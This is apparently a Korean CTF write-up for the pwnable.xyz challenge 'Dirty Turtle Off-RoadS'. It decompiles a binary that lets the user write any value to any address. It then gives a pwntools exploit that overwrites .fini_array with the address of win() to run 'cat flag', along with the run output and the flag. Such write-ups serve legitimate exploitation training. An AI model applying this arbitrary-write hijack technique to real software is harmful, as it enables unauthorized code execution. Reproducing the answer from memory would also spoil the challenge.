''.join([i for i in 'Dirty Turtle Off-RoadS' if i.isupper()])
Mitigation
Analysis
win()
int win()
{
return system("cat flag");
}
win()
이 실행되도록 하면 플래그를 획득할 수 있다.
main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *addr; // [rsp+0h] [rbp-10h]
unsigned __int64 val; // [rsp+8h] [rbp-8h]
setup(argc, argv, envp);
puts("Dirty Turtle Off-RoadS");
printf("Addr: ");
addr = (char *)get_val();
printf("Value: ");
val = get_val();
if ( val )
*(_QWORD *)addr = val;
else
puts(addr);
return 0;
}
addr
과 val
을 입력받고, addr
주소에 val
값을 넣는 AAW 프로그램이다.
Exploit
main()
이 종료되고 나서 실행되는 _dl_fini()
내부에서 .fini_array
(0x600bc0
)에 저장되어 있는 함수를 호출한다. 여기에 win()
의 주소를 써놓으면 플래그를 획득할 수 있다.
Full exploit
from pwn import *
LOCAL = False
if LOCAL:
r = process('./release/challenge')
else:
r = remote('svc.pwnable.xyz', 30033)
sla = r.sendlineafter
win = 0x400821
sla('Addr: ', str(0x600bc0))
sla('Value: ', str(win))
r.interactive()
$ python3 ex.py
[+] Opening connection to svc.pwnable.xyz on port 30033: Done
[*] Switching to interactive mode
FLAG{dt0rs_are_n0w_ch3ck3d}
728x90